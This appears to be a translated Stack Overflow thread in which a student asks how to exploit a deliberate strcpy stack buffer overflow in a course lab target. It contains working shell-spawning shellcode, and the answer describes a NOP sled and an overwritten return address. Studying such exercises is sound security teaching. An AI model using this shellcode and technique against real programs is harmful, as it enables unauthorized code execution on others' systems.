我正在尝试为我的一个comp sci课程解决这个问题,我已经利用了所有的资源,但仍然存在问题,如果有人能提供一些见解,我将非常感激。
我有了这个“目标”,我需要使用缓冲区溢出漏洞执行一个execve(“/bin/sh”)。在buf128溢出漏洞中,在执行不安全命令strcpy时,系统希望找到返回地址的位置会出现指向缓冲区的指针。
target.c
int bar(char *arg, char *out)
{
strcpy(out,arg);
return 0;
}
int foo(char *argv[])
{
char buf[128];
bar(argv[1], buf);
}
int main(int argc, char *argv[])
{
if (argc != 2)
{
fprintf(stderr, "target: argc != 2");
exit(EXIT_FAILURE);
}
foo(argv);
return 0;
}exploit.c
#include "shellcode.h"
#define TARGET "/tmp/target1"
int main(void)
{
char *args[3];
char *env[1];
args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
env[0] = NULL;
if (0 > execve(TARGET, args, env))
fprintf(stderr, "execve failed.\n");
return 0;
}shellcode.h
static char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";我知道我需要用超过128字节的字节填充argv1,超过128字节的字节是返回地址,它应该指向回缓冲区,以便它在其中执行/bin/sh。到目前为止,这是正确的吗?有人能提供下一步吗?
非常感谢你的帮助。
发布于 2010-10-05 12:14:59
那么,你想让程序执行你的外壳代码。它已经是机器形式的,所以它已经准备好被系统执行了。您已将其存储在缓冲区中。因此,问题将是“系统如何知道执行我的代码?”更准确地说,“系统如何知道在哪里查找要执行的下一段代码?”本例中的答案是您正在讨论的返回地址。
基本上,你是在正确的轨道上。你有没有试过执行代码?在执行这种类型的利用时,我注意到的一件事是,这不是一门精确的科学。有时,内存中还有一些您不期望的东西,因此您必须增加添加到缓冲区的字节数,以便正确地将返回地址与系统期望的位置对齐。
我不是安全方面的专家,但我可以告诉你一些可能会有帮助的事情。一个是我通常包括一个'NOP Sled‘--本质上只是一系列0x90字节,除了在处理器上执行'NOP’指令之外,不做任何事情。另一个技巧是在缓冲区的末尾重复返回地址,这样即使其中一个重写了堆栈上的返回地址,您也可以成功地返回到您想要的位置。
因此,您的缓冲区将如下所示:
NOP SLED | SHELLCODE |重复返回地址
(注:这些不是我的想法,我是从Jon Erickson的“黑客:剥削的艺术”中获得的。如果你有兴趣了解更多关于这方面的知识,我推荐这本书)。
要计算地址,可以使用类似于以下内容的内容:
unsigned long sp(void)
{ __asm__("movl %esp, %eax");} // returns the address of the stack pointer
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char* buffer;
offset = 0;
esp = sp();
ret = esp - offset;
}现在,ret将保存您想要返回的返回地址,假设您在堆上分配了buffer。
https://stackoverflow.com/questions/3860655
复制相似问题